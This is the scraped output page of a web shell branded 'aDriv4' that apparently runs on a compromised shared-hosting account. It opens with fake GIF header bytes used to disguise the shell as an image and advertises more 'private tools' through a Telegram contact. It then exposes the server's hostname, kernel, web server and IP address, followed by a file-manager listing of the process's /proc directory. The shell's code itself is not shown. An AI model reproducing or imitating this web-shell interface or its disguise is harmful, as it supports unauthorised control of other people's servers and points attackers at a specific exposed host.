GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium76.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 162.213.255.108

Name Type Size Owner/Group Permission Last Modified Actions
. dir - ingaswxa/ingaswxa 0555 2025-11-02 11:45:46
.. dir - root/root 0555 2025-05-25 10:10:05
attr dir - ingaswxa/ingaswxa 0555 2025-11-02 11:45:49
cwd link - ingaswxa/ingaswxa 0555 2025-11-02 11:45:46
fd dir - ingaswxa/ingaswxa 0500 2025-11-02 11:45:49
fdinfo dir - ingaswxa/ingaswxa 0500 2025-11-02 11:45:49
map_files dir - ingaswxa/ingaswxa 0500 2025-11-02 11:45:49
net dir - ingaswxa/ingaswxa 0555 2025-11-02 11:45:49
ns dir - ingaswxa/ingaswxa 0511 2025-11-02 11:45:49
root link - root/root 0755 2025-08-05 07:47:27
task dir - ingaswxa/ingaswxa 0555 2025-11-02 11:45:49
autogroup text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
auxv application/octet-stream 0 B ingaswxa/ingaswxa 0400 2025-11-02 11:45:49
cgroup text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
clear_refs 0 B ingaswxa/ingaswxa 0200 2025-11-02 11:45:49
cmdline text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:46
comm text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
coredump_filter text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
cpu_resctrl_groups text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
cpuset application/octet-stream 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
environ application/octet-stream 0 B ingaswxa/ingaswxa 0400 2025-11-02 11:45:49
exe application/x-executable 6.11 MB root/linksafe 0755 2025-09-30 04:05:21
gid_map text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
io text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
limits text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
loginuid text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
maps text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
mem 0 B ingaswxa/ingaswxa 0600 2025-11-02 11:45:49
mountinfo text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
mounts text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
mountstats text/plain 0 B ingaswxa/ingaswxa 0400 2025-11-02 11:45:49
numa_maps text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
oom_adj application/octet-stream 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
oom_score text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
oom_score_adj application/octet-stream 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
pagemap application/octet-stream 0 B ingaswxa/ingaswxa 0400 2025-11-02 11:45:49
patch_state text/plain 0 B ingaswxa/ingaswxa 0400 2025-11-02 11:45:49
personality text/plain 0 B ingaswxa/ingaswxa 0400 2025-11-02 11:45:49
projid_map text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
sched text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
schedstat text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
sessionid text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
setgroups text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
smaps text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
smaps_rollup text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
stack 0 B ingaswxa/ingaswxa 0400 2025-11-02 11:45:49
stat text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:46
statm text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
status text/plain 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
syscall text/plain 0 B ingaswxa/ingaswxa 0400 2025-11-02 11:45:49
timens_offsets text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
timers application/x-empty 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
timerslack_ns text/plain 0 B ingaswxa/ingaswxa 0666 2025-11-02 11:45:49
uid_map text/plain 0 B ingaswxa/ingaswxa 0644 2025-11-02 11:45:49
wchan application/octet-stream 0 B ingaswxa/ingaswxa 0444 2025-11-02 11:45:49
© aDriv4